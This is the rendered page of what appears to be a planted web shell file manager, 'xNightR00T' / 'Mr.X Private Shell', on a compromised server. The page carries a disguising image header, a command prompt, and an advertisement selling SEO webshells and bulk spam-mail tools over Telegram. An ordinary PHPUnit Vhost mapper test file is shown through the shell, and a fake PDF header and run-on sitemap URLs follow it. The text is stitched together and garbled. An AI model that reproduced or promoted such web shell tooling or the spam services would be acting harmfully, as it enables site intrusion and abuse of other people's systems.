xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Vhost\Mapper;

use Vhost\Mapper\Vhost;
use ZendServer\PHPUnit\DbUnit\TestCase;
use ZendServer\PHPUnit\DbUnit\ArrayDataSet;

require_once 'tests/bootstrap.php';

class VhostTest extends TestCase
{
    /**
     * @var Vhost
     */
    private $mapper;

    public function testGetVhostsUseOffsetOnlyIfLimitGreaterThan0()
    {
        $this->updateDataSet(new ArrayDataSet(array(
            'ZSD_VHOSTS' => array(
                array('ID' => '1', 'NAME' => 'vhost1', 'PORT' => '80', 'CREATED_AT' => time(), 'LAST_UPDATED' => time(),
                    'OWNER' => '0', 'IS_SSL' => '0'),
                array('ID' => '2', 'NAME' => 'vhost2', 'PORT' => '80', 'CREATED_AT' => time(), 'LAST_UPDATED' => time(),
                    'OWNER' => '0', 'IS_SSL' => '0'),
                array('ID' => '3', 'NAME' => 'vhost3', 'PORT' => '80', 'CREATED_AT' => time(), 'LAST_UPDATED' => time(),
                    'OWNER' => '0', 'IS_SSL' => '0'),
            )
        )));

        $this->mapper->getVhosts(array(), array(), 0, 1);
    }

    public function testVhostCount()
    {
        $this->updateDataSet(new ArrayDataSet(array(
            'ZSD_VHOSTS' => array(
                array('ID' => '1', 'NAME' => 'vhost1', 'PORT' => '80', 'CREATED_AT' => time(), 'LAST_UPDATED' => time(),
                    'OWNER' => '0', 'IS_SSL' => '0'),
                array('ID' => '2', 'NAME' => 'vhost2', 'PORT' => '80', 'CREATED_AT' => time(), 'LAST_UPDATED' => time(),
                    'OWNER' => '0', 'IS_SSL' => '0'),
                array('ID' => '3', 'NAME' => 'vhost3', 'PORT' => '80', 'CREATED_AT' => time(), 'LAST_UPDATED' => time(),
                    'OWNER' => '0', 'IS_SSL' => '0'),
            )
        )));

        self::assertEquals(3, $this->mapper->countVhosts());
        self::assertEquals(1, $this->mapper->countVhosts(array('freeText' => 'vhost1')));
    }

    protected function setUp()
    {
        parent::setUp();
        $this->mapper = new Vhost();
        $this->mapper->setDbAdapter($this->getAdapter());
    }
    /* (non-PHPdoc)
     * @see PHPUnit_Extensions_Database_TestCase::getDataSet()
     */

    protected function getDataSet()
    {
        return new ArrayDataSet(array(
            'ZSD_VHOSTS' => array(
            )
        ));
    }
}

Filemanager

Name Type Size Permission Actions
VhostTest.php File 2.24 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml